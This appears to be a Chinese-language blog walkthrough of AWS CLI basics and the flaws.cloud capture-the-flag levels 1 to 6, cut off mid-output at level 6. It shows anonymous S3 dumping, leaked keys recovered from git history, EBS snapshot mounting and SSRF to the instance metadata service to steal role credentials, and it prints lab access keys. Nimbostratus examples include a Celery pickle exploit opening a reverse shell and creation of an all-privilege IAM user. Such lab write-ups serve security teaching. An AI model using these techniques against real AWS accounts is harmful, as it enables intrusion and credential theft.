aws安全问题

aws安装

帮助文档:https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html

linux下载安装

1
2
3
4
5
6
7
8
9
10
11
--user 默认加载到~/.local/bin
pip3 install awscli --upgrade --user

添加到环境变量
export PATH=~/.local/bin:$PATH

变量生效
source ~/.profile

~/.local » aws --version
aws-cli/1.16.221 Python/3.5.2 Linux/4.4.0-130-generic botocore/1.12.211

管理存储桶

创建桶;

1
$ aws s3 mb s3://bucket-name

删除桶:

1
$ aws s3 rb s3://bucket-name

删除非空桶:

1
$ aws s3 rb s3://bucket-name --force

列出存储桶

1
$ aws s3 ls

列出存储桶中所有的对象和文件夹

1
$ aws s3 ls s3://bucket-name

列出桶中 bucket-name/MyFolder 中的对象

1
$ aws s3 ls s3://bucket-name/MyFolder

管理对象

命令包括 aws s3 cp、aws s3 ls、aws s3 mv、aws s3 rm 和 sync。cp、ls、mv 和 rm 命令的用法与它们在 Unix 中的对应命令相同。 // 将当前目录里的 MyFile.txt文件拷贝到 s3://my-bucket/MyFolder

1
$ aws s3 cp MyFile.txt s3://my-bucket/MyFolder/

将s3://my-bucket/MyFolder所有 .jpg 的文件移到 ./MyDirectory

1
$ aws s3 mv s3://my-bucket/MyFolder ./MyDirectory --exclude '*' --include '*.jpg' --recursive

列出 my-bucket的所有内容

1
$ aws s3 ls s3://my-bucket

列出my-bucket中MyFolder的所有内容

1
$ aws s3 ls s3://my-bucket/MyFolder

删除 s3://my-bucket/MyFolder/MyFile.txt

1
$ aws s3 rm s3://my-bucket/MyFolder/MyFile.txt

删除 s3://my-bucket/MyFolder 和它的所有内容

1
$ aws s3 rm s3://my-bucket/MyFolder --recursive

–recursive 选项与 cp、mv 或 rm 一起用于目录/文件夹时,命令会遍历目录树,包括所有子目录 sync命令 sync 命令的形式如下。可能的源-目标组合有: 本地文件系统到 Amazon S3 Amazon S3 到本地文件系统 Amazon S3 到 Amazon S3

1
$ aws s3 sync <source> <target> [--options]

例如:本地文件系统到S3中:

1
$ aws s3 sync 本地目录/. s3://my-bucket/目录

什么是 Amazon EC2?

Amazon Elastic Compute Cloud (Amazon EC2) 在 Amazon Web Services (AWS) 云中提供可扩展的计算容量。使用 Amazon EC2 可避免前期的硬件投入,因此你能够快速开发和部署应用程序。通过使用 Amazon EC2,你可以根据自身需要启动任意数量的虚拟服务器、配置安全和网络以及管理存储。Amazon EC2 允许你根据需要进行缩放以应对需求变化或流行高峰,降低流量预测需求。

Amazon EC2 提供以下功能:

  • 虚拟计算环境,也称为实例
  • 实例的预配置模板,也称为 Amazon 系统映像 (AMI),其中包含你的服务器需要的程序包(包括操作系统和其他软件)。
  • 实例 CPU、内存、存储和网络容量的多种配置,也称为实例类型
  • 使用密钥对的实例的安全登录信息(AWS 存储公有密钥,你在安全位置存储私有密钥)
  • 临时数据(停止或终止实例时会删除这些数据)的存储卷,也称为实例存储卷
  • 使用 Amazon Elastic Block Store (Amazon EBS) 的数据的持久性存储卷,也称为 Amazon EBS 卷
  • 用于存储资源的多个物理位置,例如实例和 Amazon EBS 卷,也称为区域可用区
  • 防火墙,让你可以指定协议、端口,以及能够使用安全组到达你的实例的源 IP 范围
  • 用于动态云计算的静态 IPv4 地址,称为弹性 IP 地址
  • 元数据,也称为标签,你可以创建元数据并分配给你的 Amazon EC2 资源
  • 你可以创建的虚拟网络,这些网络与其余 AWS 云在逻辑上隔离,并且你可以选择连接到你自己的网络,也称为 Virtual Private Cloud(VPC)

https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/UserGuide/concepts.html

什么是 IAM?

AWS Identity and Access Management (IAM) 是一种 Web 服务,可以帮助你安全地控制对 AWS 资源的访问。你可以使用 IAM 控制对哪个用户进行身份验证 (登录) 和授权 (具有权限) 以使用资源。

当你首次创建 AWS 账户时,最初使用的是一个对账户中所有 AWS 服务和资源有完全访问权限的单点登录身份。此身份称为 AWS 账户 根用户,可使用你创建账户时所用的电子邮件地址和密码登录来获得此身份。强烈建议你不使用 根用户 执行日常任务,即使是管理任务。请遵守仅将 根用户 用于创建首个 IAM 用户的最佳实践。然后请妥善保存 根用户 凭证,仅用它们执行少数账户和服务管理任务。

https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/introduction.html

实例元数据和用户数据

实例元数据 是有关你的实例的数据,可以用来配置或管理正在运行的实例。实例元数据可划分成不同类别。有关更多信息,请参阅实例元数据类别

虽然你只能从实例自身内部访问实例元数据和用户数据,但数据并未进行加密保护。可访问实例的人员均可查看其元数据。因此,你应当采取适当的预防措施来保护敏感数据(例如永久加密密钥)。不应将敏感数据 (例如密码) 存储为用户数据。

你也可以使用实例元数据访问你启动实例时指定的用户数据。例如,你可指定参数以便配置实例,也可附加简单的脚本。你也可以使用这些数据来构建更多可通过启动时提供的配置文件来修改的通用 AMI。例如,如果你为各种小型企业运行 Web 服务器,则这些企业都可以使用相同的 AMI,并在启动时从你在用户数据中指定的 Amazon S3 存储桶中检索其各自的内容。要随时添加一个新客户,你只需为该客户创建一个存储桶,将客户的内容添加进去,然后启动你的 AMI 即可。如果你同时启动多个实例,则用户数据可供该预留中的所有实例使用。

检索实例元数据

由于你的正在运行的实例存在实例元数据,因此你无需使用 Amazon EC2控制台或 AWS CLI。这在你编写脚本以实现从实例运行时非常有用。例如,你可从实例元数据访问你的实例的本地 IP 地址来以管理与外部应用程序的连接。

要从运行实例内部查看所有类别的实例元数据

1
http://169.254.169.254/latest/meta-data/

IP 地址 169.254.169.254 是链路本地地址,仅从该实例有效。有关更多信息,请参阅 Wikipedia 上的链路本地地址

使用一种诸如 cURL 的工具

1
curl http://169.254.169.254/

获得顶级元数据项目

1
curl http://169.254.169.254/latest/meta-data/

示例获得前面示例中的一些元数据项目的值

1
2
3
4
5
6
[ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/ami-id
ami-0abcdef1234567890
[ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/reservation-id
r-0efghijk987654321
[ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/public-hostname
ec2-203-0-113-25.compute-1.amazonaws.com

获得可用公共密钥的列表

1
2
[ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/public-keys/
0=my-public-key

此示例显示了公用密钥 0 可用的格式

1
2
[ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/public-keys/0/
openssh-key

获得公用密钥 0 (以 OpenSSH 密钥格式)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
ssh-rsa MIICiTCCAfICCQD6m7oRw0uXOjANBgkqhkiG9w0BAQUFADCBiDELMAkGA1UEBhMC
VVMxCzAJBgNVBAgTAldBMRAwDgYDVQQHEwdTZWF0dGxlMQ8wDQYDVQQKEwZBbWF6
b24xFDASBgNVBAsTC0lBTSBDb25zb2xlMRIwEAYDVQQDEwlUZXN0Q2lsYWMxHzAd
BgkqhkiG9w0BCQEWEG5vb25lQGFtYXpvbi5jb20wHhcNMTEwNDI1MjA0NTIxWhcN
MTIwNDI0MjA0NTIxWjCBiDELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAldBMRAwDgYD
VQQHEwdTZWF0dGxlMQ8wDQYDVQQKEwZBbWF6b24xFDASBgNVBAsTC0lBTSBDb25z
b2xlMRIwEAYDVQQDEwlUZXN0Q2lsYWMxHzAdBgkqhkiG9w0BCQEWEG5vb25lQGFt
YXpvbi5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMaK0dn+a4GmWIWJ
21uUSfwfEvySWtC2XADZ4nB+BLYgVIk60CpiwsZ3G93vUEIO3IyNoH/f0wYK8m9T
rDHudUZg3qX4waLG5M43q7Wgc/MbQITxOUSQv7c7ugFFDzQGBzZswY6786m86gpE
Ibb3OhjZnzcvQAaRHhdlQWIMm2nrAgMBAAEwDQYJKoZIhvcNAQEFBQADgYEAtCu4
nUhVVxYUntneD9+h8Mg9q6q+auNKyExzyLwaxlAoo7TJHidbtS4J5iNmZgXL0Fkb
FFBjvSfpJIlJ00zbhNYS5f6GuoEDmFJl0ZxBHjJnyp378OD8uTs7fLvjx79LjSTb
NYiytVbZPQUQ5Yaxu2jXnimvw3rrszlaEXAMPLE my-public-key

获取实例的子网 ID

1
2
[ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/network/interfaces/macs/02:29:96:8f:6a:2d/subnet-id
subnet-be9b61d7

你也可以下载实例元数据查询工具,通过该工具,你无需键入完整的 URI 或目录名称就可以查询实例元数据。

下载

1
2
wget http://s3.amazonaws.com/ec2metadata/ec2-metadata
chmod u+x ec2-metadata

要获取实例的ami-id

1
2
$ ec2-metadata -a
ami-id:ami-xxxxxxx

获取公共主机名

1
2
$ ec2-metadata -p
public-hostname:ec2-xxxx.compute-1.amazonaws.com

获取本地ipv4

1
2
$ ec2-metadata -o
local-ipv4:10.xxx

AWS工具集

aws漏洞类型

6种漏洞类型

AmazonS3 bucket允许匿名访问

AmazonS3 bucket允许列出文件

AmazonS3 Bucket允许任意文件上传和读取

AmazonS3 bucket允许盲上传

AmazonS3 bucket允许任意读取/写入对象

AmazonS3 bucket显示ACP/ACL

aws hackerone报告

Legal Robot:错误配置导致的信息泄露

https://hackerone.com/reports/189023

Zomato:错误配置导致的非法改动文件

https://hackerone.com/reports/229690

Reverb.com:错误配置导致的任意文件上传

https://hackerone.com/reports/172549

Ruby:错误配置导致的任意文件删除,移动

https://hackerone.com/reports/209223

Twitter:错误配置导致的文件读取,写入,删除

https://hackerone.com/reports/129381

aws ctf

ctf1 当 Everyone 具有访问权限

题目地址:http://flaws.cloud/

1
2
3
~/.local » host flaws.cloud
flaws.cloud has address 52.218.222.10
通过DNS解析,我们发现 flaws.cloud 指向 52.218.222.10,再经过反解,得知这台服务器在 s3-website-us-west-2.amazonaws.com

aws sync s3://flaws.cloud/ dir --no-sign-request --region us-west-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
--no-sign-request  不要签署请求。如果提供此参数,则不会加载凭据。
--region(string) 要使用的地区。覆盖config / env设置。
--debug(boolean) 打开调试日志记录。
--endpoint-url(string) 使用给定的URL覆盖命令的默认URL。
--no-verify-ssl(boolean) 默认情况下,AWS CLI在与AWS服务通信时使用SSL。对于每个SSL连接,AWS CLI将验证SSL证书。此选项会覆盖验证SSL证书的默认行为。
--no-paginate(boolean) 禁用自动分页。
--output(string) 命令输出的格式样式。
--query(string) 用于过滤响应数据的JMESPath查询。
--profile(string) 使用凭证文件中的特定配置文件。
--version(string) 显示此工具的版本。
--color(字符串) 打开/关闭颜色输出。
--ca-bundle(string) 验证SSL证书时使用的CA证书包。覆盖config / env设置。
--cli-read-timeout(int) 最大套接字读取时间,以秒为单位。如果该值设置为0,则套接字读取将阻塞而不会超时。
--cli-connect-timeout(int) 最大套接字连接时间(秒)。如果该值设置为0,则套接字连接将阻塞而不会超时。
https://docs.aws.amazon.com/cli/latest/reference/

下载S3 Bucket的数据

1
aws s3 sync s3://flaws.cloud/ dir --no-sign-request

读取仓库内容

curl flaws.cloud/secret-dd02c7c.html to dir/secret-dd02c7c.html 找到flag

修复方式

在 Bucket Permission 里删除相关权限配置

hackerone案例

Shopify S3 Bucket 信息泄露 – $500

1
2
aws s3 sync s3://shopify.com.s3 dir --no-sign-request
fatal error: An error occurred (NoSuchBucket) when calling the ListObjectsV2 operation: The specified bucket does not exist

ctf2 Any Authenticated AWS User

ctf地址:http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/

提示:

下一个级别非常相似,略有不同。你将需要自己的AWS账户。你只需要免费套餐

你需要自己的AWS密钥,并且需要使用AWS CLI。与第一级类似,你可以发现此子域作为S3存储桶托管,其名称为“level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud”。

它的权限过于宽松,但你需要自己的AWS账户才能看到内部的内容。使用你自己的帐户,你可以运行:

1
aws s3 --profile YOUR_ACCOUNT ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud

测试过程:

1
2
~/aws » aws s3 sync s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud dir --no-sign-request
fatal error: An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

需要使用aws密钥,配置参考:快速配置 AWS CLI

简单讲讲

1
2
3
4
5
6
7
$ aws configure --profile user2
AWS Access Key ID [None]: # 刚刚获得的访问密钥ID
AWS Secret Access Key [None]: # 刚刚获得的私有访问密钥
Default region name [None]: us-west-2 # 你的服务地区
Default output format [None]: json # 你需要返回的数据格式

具体操作:https://razeencheng.com/post/tool-awscli-overview-1.html

操作完后会生成~/.aws/config~/.aws/credentials

使用自己的aws账号未授权下载其他人S3。

这里我用的是第三关的aws配置

1
aws s3 --profile test1 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud

修复方式

与打开“Everyone”权限类似,人们不小心打开了“任何经过身份验证的AWS用户”的权限。他们可能会错误地认为这只会是他们帐户的用户,而实际上它意味着拥有AWS账户的任何人。

hackerone案例

Udemy S3 写权限控制不当

同上使用自己的aws账号未授权操作其他用户S3

1
2
move: ./test.txt to s3://udemy-maven/test.txt
delete: s3://udemy-maven/test.txt

ctf3 aws access key 管理问题

http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/

同样使用命令,下载S3文件。

1
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ dir --no-sign-request

发现.git目录

  1. 查看git log,从下往上看
1
git log

2.查看修改内容

1
git diff f52ec03b227ea6094b04e43f475fb0126edb5a61

找到了删除的 aws access key & secret

1
2
3
4
5
6
7
8
diff --git a/access_keys.txt b/access_keys.txt
deleted file mode 100644
index e3ae6dd..0000000
--- a/access_keys.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-access_key AKIAJ366LIPB4IJKT7SA
-secret_access_key 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

这里配置的信息地区需要写成us-west-1

列出 my-bucket的所有内容

1
$ aws s3 ls s3://my-bucket

列出my-bucket中MyFolder的所有内容

1
$ aws s3 ls s3://my-bucket/MyFolder

这里使用

1
aws --profile Wh0ale s3 ls

修复方案

人们经常泄漏AWS密钥,然后试图掩盖他们的错误而不撤销密钥。你应该始终撤销可能已泄露或放错地方的任何AWS密钥(或任何机密)。经常修改你的密钥。

删掉 .git,

在 IAM -> Users -> Access Keys 里重新分配 aws access key & secret

案例

Instagram的百万美元漏洞

1.Ruby(Rails)RCE -- 服务器实际上反序列化了cookie,正确匹配了签名,并运行了有效负载

2.Instagram实例只是简单地使用本地Postgres数据库实例。使用RCE,可以轻松读取配置文件以获取此数据库所需的凭据。我连接并转储了users表的内容。正如预期的那样,这完全由员工账户组成,包括Instagram和Facebook员工。总共有大约60个账户。

3.查找sensu.instagram.com服务器上任何明显的配置缺陷时,我查看了服务器配置文件:/etc/sensu/config.json,文件中还存在一个相当明显的AWS密钥对。

Github上的文件secret_token.rb有一个硬编码的Rails秘密令牌

“Instagram的百万美元漏洞”:防御案例研究

ctf4 快照利用

http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/

对于一个没有权限限制的快照,任何人都可以通过挂载这个快照,并提取快照里的内容

在设置nginx之后不久,快照就是由EC2构成的。

你可以将EC2的磁盘卷快照作为备份。在这种情况下,快照已公开,但你需要找到它。

要做到这一点,首先我们需要帐户ID,我们可以使用上一级别的AWS密钥获取该帐户ID:

1
2
3
4
5
6
~/aws » aws --profile flaws sts get-caller-identity  以验证你是否已代入 IAM 角色,获取Account
{
"UserId": "AIDAJQ3H5DC3LEG2BKSLC",
"Arn": "arn:aws:iam::975426262029:user/backup",
"Account": "975426262029"
}

此帐户所做的备份是EC2的快照。接下来,发现快照:

1
aws --profile flaws ec2 describe-snapshots --owner-id 975426262029

我们指定owner-id只是为了过滤输出。为了好玩,在没有owner-id的情况下运行该命令,并注意所有公共可读的快照。默认情况下,快照是私有的,你可以通过指定其他帐户的帐户ID安全地在帐户之间进行转移,但是许多人只是将它们公开并忘记了它们。

使用自己申请的aws账号挂载靶机的公共aws快照。

1
aws --profile Wh0ale ec2 create-volume --availability-zone us-west-2a --region us-west-2(快照) --snapshot-id  snap-0b49342abd1bdcb89

但是前提好像是需要挂载的快照需要在同一个区域,因为没有信用卡,注册不了aws账号

使用ctf3赛题上的aws凭证好像不太能挂载

1
2
An error occurred (UnauthorizedOperation) when calling the CreateVolume operation: You are not authorized to perform this operation. Encoded authorization failure message: aOP0jYFqY_OFZ9AkmTtFD_e5BLwawYzL3q_Is8SQpI6EYrux7NhvPgh7WtwLVb8NLBOSskHsNp45qX4-u_dt5rsybl33T8QHfCu0Sm7bc9FKCf61pjINL5B-G3g6AeX5ihCwQbWJwMRbolC3_ZWWKSUd5Ju4dFsZiW5OKgTFcfosYA5TjHUKolB41Dh5esDmIYikl2Mgz6U2uWoNkt6eNAzAZekkvM2QgAw1oKZWBg8X2qvK5cEeKZDlEFzNP9xKeYxdGNDy7o4izdY1l9PtDqwnfnV4z1BV4lGUPk7v8r1-ezHFN7G9jj1XOZeCv-WEKXE8xMiaNMDp9Xjosj_p-U3pTwacb1DWVVOXVE5J-WM4L3y7sEa3PWF493KwmlyZPKbDuXhzPfcpo4YcCgl-7W1hTYM0Fe5rx2EiGE1xFZ_4WqHT6AZ3xkQeqgjgWA8Wzsc375lvcRwLD5Tuu5-TeuvVgwxT7Ry_LYp0TvUzzlo94aKzyQqXElQMmkc5LpNHzwcpTinfg5balkK-WQIrOowm23ji_4VKXK04hTtHe56B44v5Oi1UsOxHmKqKJyogMkGNK0jTdKTEhRQGveEWutGQnGZlRwl3zlKa2gqSynJ2B-VVWj9mBuvCJdhnbFs-aTt8
调用CreateVolume操作时发生错误(UnauthorizedOperation):你无权执行此操作。

使用以下内容进行SSH:

1
ssh -i YOUR_KEY.pem ubuntu@ec2-54-191-240-80.us-west-2.compute.amazonaws.com

我们需要通过运行来安装这个额外的卷:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lsblk

# Returns:
# NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
# xvda 202:0 0 8G 0 disk
# 鈹斺攢xvda1 202:1 0 8G 0 part /
# xvdb 202:16 0 8G 0 disk
# 鈹斺攢xvdb1 202:17 0 8G 0 part

sudo file -s /dev/xvdb1

# Returns:
# /dev/xvdb1: Linux rev 1.0 ext4 filesystem data, UUID=5a2075d0-d095-4511-bef9-802fd8a7610e, volume name "cloudimg-rootfs" (extents) (large files) (huge files)

# Next we mount it

sudo mount /dev/xvdb1 /mnt

一旦你附加了卷,你就会想要找一些可能告诉你密码的东西。运行find / mnt -mtime -1的某些变体将有助于查找最近的文件,你可以使用以下方法进一步过滤:

1
find /mnt -type f -mtime -1 2>/dev/null | grep -v "/var/" | grep -v "/proc/" | grep -v "/dev/" | grep -v "/sys/" | grep -v "/run/" | less

在ubuntu用户的主目录中是文件:/ home / ubuntu / setupNginx.sh

这将创建基本的HTTP身份验证用户http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/

1
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

输入账号密码登录flaws/nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

Good work getting in. This level is described at http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/

修复:

AWS允许你制作EC2和数据库(RDS)的快照。其主要目的是进行备份,但人们有时会在忘记密码时使用快照来访问自己的EC2。这也允许攻击者访问事物。快照通常仅限于你自己的帐户,因此可能的攻击是攻击者可以访问AWS密钥,允许他们使用EC2启动/停止和执行其他操作,然后使用它来快照EC2并启动EC2你环境中的该卷可以访问它。与所有备份一样,你需要谨慎保护它们。

ctf5 元数据服务

http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/

查看元数据工具nimbostratus

1
2
git clone https://github.com/andresriancho/nimbostratus.git
cd nimbostratus

开启python虚拟环境,模块不冲突

1
2
3
4
5
6
7
python3
python3 -m venv venv
python2
pip install virtualenv
virtualenv env
cd env/bin
source activate

转储权限

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nimbostratus dump-permissions --access-key=... --secret-key=...
Starting dump-permissions
These credentials belong to low_privileged_user, not to the root account
Getting access keys for user low_privileged_user
User for key AKIAIV...J6KVA is low_privileged_user
{u'Statement': [{u'Action': u'iam:*',
u'Effect': u'Allow',
u'Resource': u'*',
u'Sid': u'Stmt1377108934836'},
{u'Action': u'sqs:*',
u'Effect': u'Allow',
u'Resource': u'*',
u'Sid': u'Stmt1377109045369'}]}

转储实例元数据

所有EC2实例都有元数据 ,可通过http://169.254.169.254/latest/meta-data/访问。此工具将从元数据中提取所有重要信息并显示给你。

请记住,每个EC2实例都有自己的http://169.254.169.254/元数据提供程序,并且在不同的实例上运行此命令将产生不同的结果。

1
2
3
4
5
6
7
8
9
10
$ nimbostratus dump-ec2-metadata
Starting dump-ec2-metadata
...
Instance type: t1.micro
AMI ID: ami-a02f66f2
Security groups: django_frontend_nimbostratus_sg
Availability zone: ap-southeast-1a
Architecture: x86_64
Private IP: 10.130.81.89
User data script was written to user-data.txt

使用以下定义的漏洞从远程实例中提取元数据core.utils.mangle.mangle

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nimbostratus dump-ec2-metadata --mangle-function=core.utils.mangle.mangle
Starting dump-ec2-metadata
Request http://target.com/?url=http://169.254.169.254/...ta-data/
Request http://target.com/?url=http://169.254.169.254/...ta-data/instance-type
Request http://target.com/?url=http://169.254.169.254/...ta-data/instance-id
...
Instance type: t1.micro
AMI ID: ami-a02f66f2
Security groups: django_frontend_nimbostratus_sg
Availability zone: ap-southeast-1a
Architecture: x86_64
Private IP: 10.130.81.89
User data script was written to user-data.txt

创建数据库快照

某些情况下,你拥有Amazon凭据,允许你访问RDS API,但无权访问数据库本身(MySQL用户)。此工具允许你通过创建快照并还原它来访问存储在该数据库中的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nimbostratus snapshot-rds --access-key=... \
--secret-key=... \
--password foolmeonce --rds-name nimbostratus \
--region ap-southeast-1
Starting snapshot-rds
Waiting for snapshot to complete in AWS... (this takes at least 5m)
Waiting...
Waiting for restore process in AWS... (this takes at least 5m)
Waiting...
Creating a DB security group which allows connections from any location and
applying it to the newly created RDS instance. Anyone can connect to this
MySQL instance at:
- Host: restored....rds.amazonaws.com
- Port: 3306

Using root:
mysql -u root -pfoolmeonce -h restored....rds.amazonaws.com

Inject raw Celery message

Celery警告开发人员关于不安全的泡菜 序列化方法,但当然你会在现实生活中找到这样的部署。此工具将检查正在运行此工具的实例是否可以访问SQS,如果该SQS具有Celery队列,则验证Queue是否正在使用pickle并最终注入将在取消选择时执行任意命令的原始消息

1
2
3
4
5
6
7
8
9
$ nimbostratus celery-pickle-exploit --access-key=... \
--secret-key=... --reverse 1.2.3.4:4000 \
--queue-name nimbostratus-celery --region ap-southeast-1
Starting celery-exploit
SQS queue nimbostratus-celery is vulnerable
We can write to the SQS queue.
Start a netcat to listen for connections at 1.2.3.4:4000 and press enter.

Sent payload to SQS, wait for the reverse connection!

创建新用户

如果你拥有允许你使用IAM创建新用户的凭据,则此工具将创建它(具有访问所有Amazon资源的权限)并返回API密钥和密钥。

1
2
3
4
5
6
7
8
9
10
$ nimbostratus create-iam-user --access-key=... --secret-key=...
Starting create-iam-user
Trying to create user "bdkgpnenu"
User "bdkgpnenu" created
Trying to create user "bdkgpnenu" access keys
Created access keys for user bdkgpnenu. Access key: ..., access secret: ...
Created user bdkgpnenu with ALL PRIVILEGES. User information:
* Access key: ...
* Secret key: ...
* Policy name: nimbostratusbdkgpnenu

上面是这个工具的使用方法,我在vps测试没使用成功

我们用代理服务访问以下 metadata 地址

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/

1
2
3
4
5
6
7
8
9
{
"Code" : "Success",
"LastUpdated" : "2019-08-21T04:57:19Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA6GG7PSQGR2FMOAFH",
"SecretAccessKey" : "cQoi4VN5VYtDGC91RIu8TifkMEuGchr/BRKqpW0z",
"Token" : "AgoJb3JpZ2luX2VjEB0aCXVzLXdlc3QtMiJHMEUCIQCmBj0Y0Vxr8m+cXbZ3Ek4K0HIPb7AIcVfjNypRgzHC2gIgGWah2EmRgnXIwX9hIpqqw+lyU/VBpg2GsECgWShZ5Bgq4wMItv//////////ARAAGgw5NzU0MjYyNjIwMjkiDBcqeZCc20c/yiG+ISq3A+isuPcVzg1MOfb7Z9C/ksL+g1kTpbwGxhEDbgfn+OEfOEo4SY6rAS3wsyOVA9jonftI0cF8x3yLbK7k0AG8FW7njVE5zWCUtKt39xBIP/Q32FhDHxRXtOfoaev+By0dY+QQvePRfLMKNkvjF1JBH1qM2TZVj3He+L+A+E6jUtGkfPofVru8x/pE+77AxGspCS40UNZjCku9+yWmUCX0q1MRlgocspVrcB21w2uXyAlNWdi4imbn0YVGrPpu4MlCwCWrN8sUP/QSXaG13ym5J8l3Gsa6wM+AHQTL7IMAT16YCWPVRsItTx+4H8MOs0mVLW48fCIQjNB4rDz1SboroW6urcGRCNTAkRCcbVSoLzvPG2A040erNJQaonihsBu8dWluNg/uCmta0ROIk1/GVSNgzYK4ahBXPh5vSumuyieXnEZZm+tlLkVVYRIK+v/PzNYP2HNfYjR0vnHBRE3TgM+9OHo1kyRDqoQxxfeheqwBfFNSymaCefNpQ1s/Tu5ph+PXmgJpiMabSF7B0u2kmwH8aKQgjg4Hznc77d12+4ktkcOnoCMmv41Xvla4Sa6YCpSi4w8mL/0wvp7z6gU6tAGkI3ecrtsK4nHfsNVvPt8zfLLN/frGfs/6u15Iylsj488miTrFD/5syjINJ1KVML2XregyplIkrYE1c1TW+JlfiPO8GUGR0oMd8lVXmL5iMzDVpiyT8km/OtjMh6i/ge/94ph+/y/vSUcGPFQJHty19XWqeV98QiPFFaaWjBm868p2ZnbhWppkHmHO1b7NLmCixHfnEeqZFNEDzw+5KijHNWKkL2URu7/a/z0SxXamP7Zf92c=",
"Expiration" : "2019-08-21T11:29:30Z"
}

找到了EC2的IAM角色提供的AWS凭证,该角色允许你使用以下内容列出你知道存在于.git repo密钥的6级存储桶的内容:

按照同样的方式,建立一个新的 level5 profile,然后读取 level6 的内容,e.g

1
2
3
4
vim ~/.aws/credentials 写入
aws_access_key_id = ASIAJO7K65L4SF2H46NA
aws_secret_access_key = aRSf3r0kGDAjDrfu4MvT4fbogSVnTgmhNEjDMydo
aws_session_token = FQoDYXdzEDcaDHXfBLcFnxqv3Fs8aiK3A5gdfngeeKowhp9CvklC1QeshSXdMmyfS6rkPizvGpt3l5LrhqxEg7BLnCBllxpbbILZ+9H4bhGMPR7dXR3mc32L5y8zm2+0VszTewxXbKG0Sf3EjDRJZBOzwPJZmlpn0oVsAnqYhkk9fpOVAFOPSufsaKNWF6vAHl2jT9dANWExumXT9Rc4ZR9jKc7xhxYEcxXBoKr+xFYiblki6FkqGlfIChLz/4EZsEdjYCd/2HAQyMOMe1d/KPE0nE8srIBN5aBoXbddcL6ix1xGpAEfNBhxI3UwVp5eMU5cskyRQlk3wtQYuXfL8xprOqYSf1KwmSyhHEgDOwZgc+SmiV2tbA5RfuWz48aU2NfZnu5xQqnpW7NwyQaRfXbfewNlYMPzRUH4sX441RGl1JYK5PWfsdvyEXbaxUKMNMrASqQpFboPefyXasYFEuZQFdgkHy5oRG3vBrIzf4O9U+gDM+kUUJf5YmBy9vmjzLv4N2SM0kzB/uAQaPmAHS9aMzeaZIJcze35snBSDtb+IJ3T2V5p93rDtKCkuKAe1M30JFzS3EdL6An7zZ/VRSSJ2fM86699LE5bMeWlr+so05/NxQU=

IP地址169.254.169.254是云世界中的神奇IP。AWS,Azure,Google,DigitalOcean和其他人使用此功能允许云资源查找有关自身的元数据。有些人,比如谷歌,对请求有其他限制,例如要求它使用Metadata-Flavor: Google:谷歌”作为HTTP标头,并拒绝使用X-Forwarded-For标头的请求。AWS没有约束。如果可以从EC2向该IP发出任何类型的HTTP请求,可能会收到所有者希望你看不到的信息。

这个问题的例子

  • NicolasGrégoire发现prezi允许你将服务器指向URL以将内容包含在幻灯片中,这使你可以指向169.254.169.254,它为EC2 intance配置文件(链接)提供了访问密钥。他还发现了使用PhabricatorCoinbase访问神奇IP的问题。

访问IAM配置文件访问密钥的类似问题是访问EC2的用户数据,人们有时会使用这些数据将密钥传递给EC2,例如API密钥或凭证。

修复建议

确保你的应用程序不允许访问169.254.169.254或任何本地和专用IP范围。此外,请确保尽可能限制IAM角色。

ctf6 IAM策略错误

http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/

对于最后的挑战,你将获得一个附有SecurityAudit策略的用户访问密钥。了解它可以做什么以及你在此AWS账户中可能找到的其他内容。

Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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

SecurityAudit组可以对AWS账户中的资源进行高级概述,但对于查看IAM策略也很有用。首先,找出你是谁(假设你将你的个人资料命名为“level6”):

1
2
3
4
5
6
7
8
9
10
~/aws » aws --profile level6 iam get-user
{
"User": {
"CreateDate": "2017-02-26T23:11:16Z",
"UserName": "Level6",
"Arn": "arn:aws:iam::975426262029:user/Level6",
"UserId": "AIDAIRMDOSCWGLCDWOG6A",
"Path": "/"
}
}

现在你知道你的用户名是Level6,你可以找到附加到它的策略:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
~/aws » aws --profile level6 iam list-attached-user-policies --user-name Level6
{
"AttachedPolicies": [
{
